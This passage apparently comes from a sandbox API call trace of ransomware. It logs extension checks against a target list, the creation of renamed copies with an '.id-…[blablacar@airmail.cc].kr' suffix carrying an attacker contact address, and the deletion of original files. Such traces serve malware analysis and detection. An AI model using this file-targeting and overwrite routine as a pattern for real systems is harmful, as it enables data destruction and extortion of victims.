3 [0204.558] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString=".dbf") returned 4 [0204.558] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString=".1cd") returned 4 [0204.558] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString=".jpg") returned 4 [0204.559] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.559] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.559] lstrlenW (lpString="J0101857.BMP") returned 12 [0204.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.560] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=32184) returned 1 [0204.560] CloseHandle (hObject=0x518) returned 1 [0204.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0204.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.561] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.561] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0204.562] GetLastError () returned 0x0 [0204.562] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.564] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.565] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.565] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.566] SetEndOfFile (hFile=0x548) returned 1 [0204.566] CloseHandle (hObject=0x548) returned 1 [0204.566] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.566] SetEndOfFile (hFile=0x518) returned 1 [0204.569] CloseHandle (hObject=0x518) returned 1 [0204.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0204.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.570] lstrlenW (lpString=".doc") returned 4 [0204.570] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.570] lstrlenW (lpString=".docx") returned 5 [0204.570] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0204.570] lstrlenW (lpString=".pdf") returned 4 [0204.570] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.570] lstrlenW (lpString=".xls") returned 4 [0204.570] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.570] lstrlenW (lpString=".xlsx") returned 5 [0204.570] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0204.570] lstrlenW (lpString=".ppt") returned 4 [0204.570] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.570] lstrlenW (lpString=".zip") returned 4 [0204.570] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.570] lstrlenW (lpString=".rar") returned 4 [0204.570] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".bz2") returned 4 [0204.571] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".7z") returned 3 [0204.571] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString=".dbf") returned 4 [0204.571] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString=".1cd") returned 4 [0204.571] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString=".jpg") returned 4 [0204.571] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString=".doc") returned 4 [0204.571] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".docx") returned 5 [0204.571] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0204.571] lstrlenW (lpString=".pdf") returned 4 [0204.571] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".xls") returned 4 [0204.571] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".xlsx") returned 5 [0204.571] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0204.571] lstrlenW (lpString=".ppt") returned 4 [0204.571] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.571] lstrlenW (lpString=".zip") returned 4 [0204.571] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".rar") returned 4 [0204.571] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.571] lstrlenW (lpString=".bz2") returned 4 [0204.572] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.572] lstrlenW (lpString=".7z") returned 3 [0204.572] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.572] lstrlenW (lpString=".dbf") returned 4 [0204.572] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.572] lstrlenW (lpString=".1cd") returned 4 [0204.572] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0204.572] lstrlenW (lpString=".jpg") returned 4 [0204.572] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.572] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.572] lstrlenW (lpString="J0101858.BMP") returned 12 [0204.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.573] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=32184) returned 1 [0204.573] CloseHandle (hObject=0x518) returned 1 [0204.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0204.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.573] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.573] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0204.574] GetLastError () returned 0x0 [0204.574] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.847] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.850] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.850] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.850] SetEndOfFile (hFile=0x548) returned 1 [0204.850] CloseHandle (hObject=0x548) returned 1 [0204.850] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.850] SetEndOfFile (hFile=0x518) returned 1 [0204.854] CloseHandle (hObject=0x518) returned 1 [0204.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0204.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.855] lstrlenW (lpString=".doc") returned 4 [0204.855] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.855] lstrlenW (lpString=".docx") returned 5 [0204.855] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0204.855] lstrlenW (lpString=".pdf") returned 4 [0204.855] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.855] lstrlenW (lpString=".xls") returned 4 [0204.856] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".xlsx") returned 5 [0204.856] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0204.856] lstrlenW (lpString=".ppt") returned 4 [0204.856] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString=".zip") returned 4 [0204.856] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".rar") returned 4 [0204.856] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".bz2") returned 4 [0204.856] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".7z") returned 3 [0204.856] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString=".dbf") returned 4 [0204.856] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString=".1cd") returned 4 [0204.856] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString=".jpg") returned 4 [0204.856] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.856] lstrlenW (lpString=".doc") returned 4 [0204.856] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".docx") returned 5 [0204.856] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0204.856] lstrlenW (lpString=".pdf") returned 4 [0204.856] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".xls") returned 4 [0204.856] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.856] lstrlenW (lpString=".xlsx") returned 5 [0204.857] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0204.857] lstrlenW (lpString=".ppt") returned 4 [0204.857] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.857] lstrlenW (lpString=".zip") returned 4 [0204.857] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.857] lstrlenW (lpString=".rar") returned 4 [0204.857] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.857] lstrlenW (lpString=".bz2") returned 4 [0204.857] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.857] lstrlenW (lpString=".7z") returned 3 [0204.857] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.857] lstrlenW (lpString=".dbf") returned 4 [0204.857] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.857] lstrlenW (lpString=".1cd") returned 4 [0204.857] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0204.857] lstrlenW (lpString=".jpg") returned 4 [0204.857] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.857] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.857] lstrlenW (lpString="J0101867.BMP") returned 12 [0204.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.858] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=32616) returned 1 [0204.858] CloseHandle (hObject=0x518) returned 1 [0204.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0204.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.859] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.859] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0204.860] GetLastError () returned 0x0 [0204.860] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0204.862] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0204.863] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.863] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.864] SetEndOfFile (hFile=0x548) returned 1 [0204.864] CloseHandle (hObject=0x548) returned 1 [0204.864] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.864] SetEndOfFile (hFile=0x518) returned 1 [0204.867] CloseHandle (hObject=0x518) returned 1 [0204.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.878] lstrlenW (lpString=".doc") returned 4 [0204.878] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".docx") returned 5 [0204.878] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0204.878] lstrlenW (lpString=".pdf") returned 4 [0204.878] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".xls") returned 4 [0204.878] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".xlsx") returned 5 [0204.878] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0204.878] lstrlenW (lpString=".ppt") returned 4 [0204.878] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.878] lstrlenW (lpString=".zip") returned 4 [0204.878] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".rar") returned 4 [0204.878] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".bz2") returned 4 [0204.878] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.878] lstrlenW (lpString=".7z") returned 3 [0204.878] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".dbf") returned 4 [0204.879] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".1cd") returned 4 [0204.879] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".jpg") returned 4 [0204.879] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".doc") returned 4 [0204.879] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".docx") returned 5 [0204.879] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0204.879] lstrlenW (lpString=".pdf") returned 4 [0204.879] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".xls") returned 4 [0204.879] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".xlsx") returned 5 [0204.879] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0204.879] lstrlenW (lpString=".ppt") returned 4 [0204.879] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".zip") returned 4 [0204.879] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".rar") returned 4 [0204.879] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".bz2") returned 4 [0204.879] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.879] lstrlenW (lpString=".7z") returned 3 [0204.879] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.879] lstrlenW (lpString=".dbf") returned 4 [0204.879] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0204.880] lstrlenW (lpString=".1cd") returned 4 [0204.880] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 